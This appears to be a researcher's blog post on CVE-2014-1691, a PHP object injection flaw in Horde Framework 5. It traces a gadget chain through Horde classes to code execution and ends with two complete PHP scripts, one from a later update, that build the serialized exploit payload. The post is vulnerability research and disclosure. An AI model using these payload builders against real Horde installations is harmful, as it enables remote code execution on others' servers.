Exploiting CVE-2014-1691: Horde Framework PHP Object Injection

Welcome to my third blog post ever, the first in this new year, but still talking about an old friend of mine. Yes, 2014 is here, however the topic is always the same: PHP Object Injection! Perhaps those few people who read my blog are wondering if I will ever write about something else, or whether this is going to be a monothematic blog… Well, who knows?! It could be, or maybe not, but the point is that right now I’m really in love with this kind of vulnerabilities, and today I would like to share with you what in my view is an interesting story about a PHP Object Injection vulnerability which affected the Horde Framework.

I’ve noticed this vulnerability in late May 2013, during my free time, while testing the Horde Framework version 5.1.0. During a first stage I have spotted only a couple of useful magic methods which could be leveraged to carry out some kind of attack. The first interesting thing I noticed was in the Horde_Auth_Passwd::__destruct() method, which allows to rename arbitrary files through some of its properties. I thought that this could be exploited somehow even to achieve arbitrary code execution (e.g. renaming a log file into something.php) or to cause a Denial of Service condition by renaming an essential file like /config/conf.php, however the point is that the full path of the file to be renamed should be known, and this requirement increases the attack’s complexity, making the issue quite weak. Therefore, I have decided to dug a bit more before to contact the Horde Core Team, and when in early July I have found the attack vector that I’m going to explain in this blog post, (un)fortunately it was too late to contact them, because they had already fixed the issue on June 27, 2013.

Seven months later, someone requested a new CVE identifier for this security issue, saying that he has discovered the bug while reviewing the Horde3 source code, and that the credits should go to the Horde Core Team, since they have discovered and fixed the bug in Horde5. While I totally agree with that, I’m not sure how this vulnerability can be exploited on Horde3, the only thing I’m sure of is that the following attack vector doesn’t work on Horde3, simply because the classes used in this attack are different or not even present in the Horde3 codebase. As I said, I was testing version 5.1.0, and version 5.1.1 should be affected as well, since it has been released on June 18, 2013. Let’s stop talking about the story, and let’s go into the exploitation details!

• Building the POP Chain

As I was saying, initially I didn’t notice so many interesting magic methods within the Horde Core. However I have noticed a potential candidate class to start a so called “POP chain”, in other words, a chain of objects connected to each other through their properties, whose purpose is to transfer the execution flow into an “interesting” method. Within the Horde5 Core, an interesting class that can be used to start a “POP chain” is Horde_Kolab_Server_Decorator_Clean, because of its destructor method:

255    public function cleanup()
256    {
257        foreach ($this->_added as $guid) {
258            $this->delete($guid);
259        }
260    }
261
262    /**
263     * Destructor.
264     */
265    public function __destruct()
266    {
267        $this->cleanup();
268    }

This destructor calls the Horde_Kolab_Server_Decorator_Clean::cleanup() method, which at line 257 executes a “foreach” using the _added property as array, that means the first requirement is that this property should be an array with at least one element, and that’s because we want to transfer the execution flow into the Horde_Kolab_Server_Decorator_Clean::delete() method:

203    public function delete($guid)
204    {
205        $this->_server->delete($guid);
206        if (in_array($guid, $this->_added)) {
207            $this->_added = array_diff($this->_added, array($guid));
208        }
209    }

This method, at line 205, calls the delete() method of the object stored into the _server property, which is supposed to be an Horde_Kolab_Server object. However, while building a “POP chain”, an attacker can set the _server property to an arbitrary object. In this case, an interesting class would be Horde_Prefs_Identity, because of its delete() method:

173   public function delete($identity)
174    {
175        $deleted = array_splice($this->_identities, $identity, 1);
176        foreach (array_keys($this->_identities) as $id) {
177            if ($this->setDefault($id)) {
178                break;
179            }
180        }
181        $this->save();
182
183        return $deleted;
184    }

This time there’s no need to care about the _identities property, because there’s nothing interesting within the setDefault() method. So, let’s just ignore lines 175-180, and jump to line 181, where is called the Horde_Prefs_Identity::save() method:

125    /**
126     * Saves all identities in the prefs backend.
127     */
128    public function save()
129    {
130        $this->_prefs->setValue($this->_prefnames['identities'], serialize($this->_identities));
131        $this->_prefs->setValue($this->_prefnames['default_identity'], $this->_default);
132    }

As the comment suggests, this method “saves all identities in the prefs backend”. Indeed, is called the setValue() method of the object stored into the _prefs property, which is supposed to be an Horde_Prefs object. Well, this time we are going to use exactly that kind of object, and that’s because of the Horde_Prefs::setValue() method:

190    public function setValue($pref, $val, array $opts = array())
191    {
192        /* Exit early if preference doesn't exist or is locked. */
193        if (!($scope = $this->_getScope($pref)) ||
194            $this->_scopes[$scope]->isLocked($pref)) {
195            return false;
196        }
197
198        // Check to see if the value exceeds the allowable storage limit.
199        if ($this->_opts['sizecallback'] &&
200            call_user_func($this->_opts['sizecallback'], $pref, strlen($val))) {
201            return false;
202        }

This might be the end of the “POP chain”, because we have finally reached the “interesting” method we were looking for. The reason is that at line 200 is called the call_user_func() PHP function, which calls the “callback” given by the first parameter and passes the remaining parameters as arguments. Since an attacker can control the first two parameters that are being passed to call_user_func() through certain object’s properties, this means that she might be able to execute arbitrary PHP code.

• Are we done? Hmm… not so fast!

First of all, in order to reach line 200, at least one of the two conditions of the if statement at line 193 must be true, otherwise the Horde_Prefs::setValue() method will return false without reaching the if statement at line 199. As the comment at line 192 suggests, the method will return false if the preference doesn’t exist or is locked. This “preference” is given by the $pref parameter that is being passed to the Horde_Prefs::setValue() method from within the Horde_Prefs_Identity::save() method. This means that while for the application it represents just “the preference name to modify”, for the attacker it represents the PHP payload that is being passed to call_user_func() through the _prefnames['identities'] property of the Horde_Prefs_Identity object of the “POP chain”. So, let’s have a look at the Horde_Prefs::_getScope() method:

329    protected function _getScope($pref)
330    {
331        if ($this->_scopes[$this->_scope]->exists($pref)) {
332            return $this->_scope;
333        } elseif (($this->_scope != self::DEFAULT_SCOPE) &&
334            ($this->_scopes[self::DEFAULT_SCOPE]->exists($pref))) {
335            return self::DEFAULT_SCOPE;
336        }
337
338        return null;
339    }

This method returns “the scope of the preference, or null if it doesn’t exist”. Actually, is called the exists() method of certain objects stored into the _scopes array, which is a property of the Horde_Prefs class that is supposed to be a “scope list” (an array whose keys are scope names, while values are Horde_Prefs_Scope objects). In other words, another requirement for the “POP chain” is that the _scopes property of the Horde_Prefs object should be set ad-hoc in order to point to a proper Horde_Prefs_Scope object, and that’s because of the Horde_Prefs_Scope::exists() method:

113    /**
114     * Does a preference exist in this scope?
115     *
116     * @return boolean  True if the preference exists.
117     */
118    public function exists($pref)
119    {
120        return isset($this->_prefs[$pref]);
121    }

The second question is: ok, we finally control a call_user_func() call, how this can be exploited to execute arbitrary PHP code? We can’t use eval() because it’s a language construct, hence not a valid “callback”. However, there’s the assert() function which allows to do more or less the same. The point is that assert() will not work if the Horde Framework is running on PHP < 5.4.8, because before that version assert() accepts only one parameter, while in this case we can control a call_user_func() call which passes two parameters to the “callback” function. Nevertheless, the call_user_func() function allows to call also objects’ methods, and not only functions, meaning that we can call every method of every available class within the Horde Core. At this point, one of the easiest ways to achieve arbitrary PHP code execution would be to call the Horde_Date_Parser_Token::untag() method, which uses create_function() to dynamically create a function used to filter the array stored in its tags property:

21    /**
22     * Remove all tags of the given class
23     */
24    public function untag($tagClass)
25    {
26        $this->tags = array_filter($this->tags, create_function('$t', 'return substr($t[0], 0, ' . strlen($tagClass) . ') != "' . $tagClass . '";'));
27    }

Finally, we have reached the end of the “POP chain”, that should be an Horde_Date_Parser_Token object whose tags property is an array containing at least one string. It is very likely there could be another way, probably easier, to achieve arbitrary code execution, but I think this way is quite interesting, especially considering the fact that it works just with classes of the Horde Core, which means that theoretically it should affect every application built with a vulnerable version of the Horde Framework. For this reason, I would recommend to the Horde Core Team a security code review focused on the removal of any potentially vulnerable unserialize() call within the Horde Core, as well as in every Horde application. So, this is the end, let’s make the “POP chain”…

• Putting It All Together

 1$phpcode = '"&&eval("phpinfo();die;")=="';
 2
 3class Horde_Date_Parser_Token
 4{
 5   public $tags = array('A');
 6}
 7
 8class Horde_Prefs_Scope
 9{
10   protected $_prefs;
11
12   function __construct()
13   {
14      $this->_prefs = array($GLOBALS['phpcode'] => 1);
15   }
16}
17
18class Horde_Prefs
19{
20   protected $_opts, $_scopes;
21
22   function __construct()
23   {
24      $this->_opts['sizecallback'] = array(new Horde_Date_Parser_Token, 'untag');
25      $this->_scopes['horde'] = new Horde_Prefs_Scope;
26   }
27}
28
29class Horde_Prefs_Identity
30{
31   protected $_prefs, $_prefnames;
32
33   function __construct()
34   {
35      $this->_prefs = new Horde_Prefs;
36      $this->_prefnames['identities'] = $GLOBALS['phpcode'];
37   }
38}
39
40class Horde_Kolab_Server_Decorator_Clean
41{
42   private $_server, $_added = array(1);
43
44   function __construct()
45   {
46      $this->_server = new Horde_Prefs_Identity;
47   }
48}
49 
50$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);

Update – March 19, 2014

It has recently been brought to my attention that this “POP chain” will not work with a default installation of the Horde Framework. The reason is that the Date_Parser library, in which is defined the Horde_Date_Parser_Token class, is not included in a vanilla installation of Horde. I chose that class just because it was one of the first that I noticed with an “interesting” method, without verifying whether it’s included in a default installation. Well, like I said before, it should be possible to call every method of every available class defined within the Horde Core, and there is another way (only one?) to achieve arbitrary code execution, by calling the readXMLConfig() method of the Horde_Config class, which – as the name suggests – is included in a default installation:

167    public function readXMLConfig($custom_conf = null)
168    {
169        if (!is_null($this->_xmlConfigTree) && !$custom_conf) {
170            return $this->_xmlConfigTree;
171        }
172
173        $path = $GLOBALS['registry']->get('fileroot', $this->_app) . '/config';
174
175        if ($custom_conf) {
176            $this->_currentConfig = $custom_conf;
177        } else {
178            /* Fetch the current conf.php contents. */
179            @eval($this->getPHPConfig());
180            if (isset($conf)) {
181                $this->_currentConfig = $conf;
182            }
183        }

At line 179 there’s an eval() call using the value returned by the Horde_Config::getPHPConfig() method:

246    public function getPHPConfig()
247    {
248        if (!is_null($this->_oldConfig)) {
249            return $this->_oldConfig;
250        }

This method returns the value of the _oldConfig property, in case it’s not null, otherwise it will return the content of the conf.php file. Basically this means that two changes are required in order to make the “POP chain” working on a default installation: the first one is a replacement of the Horde_Date_Parser_Token object with an Horde_Config object containing the PHP payload within its _oldConfig property. While the second one is that the _prefnames['identities'] property of the Horde_Prefs_Identity object should be set to false, and that’s because that value is being passed as the $custom_conf parameter of the readXMLConfig() method, which is used as condition of the if statement at line 175. The new resulting “POP chain” can be made by the following:

 1class Horde_Config
 2{
 3   protected $_oldConfig = "phpinfo();die;";
 4}
 5
 6class Horde_Prefs_Scope
 7{
 8   protected $_prefs = array(1);
 9}
10
11class Horde_Prefs
12{
13   protected $_opts, $_scopes;
14
15   function __construct()
16   {
17      $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
18      $this->_scopes['horde'] = new Horde_Prefs_Scope;
19   }
20}
21
22class Horde_Prefs_Identity
23{
24   protected $_prefs, $_prefnames;
25
26   function __construct()
27   {
28      $this->_prefs = new Horde_Prefs;
29      $this->_prefnames['identities'] = 0;
30   }
31}
32
33class Horde_Kolab_Server_Decorator_Clean
34{
35   private $_server, $_added = array(1);
36
37   function __construct()
38   {
39      $this->_server = new Horde_Prefs_Identity;
40   }
41}
42
43$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);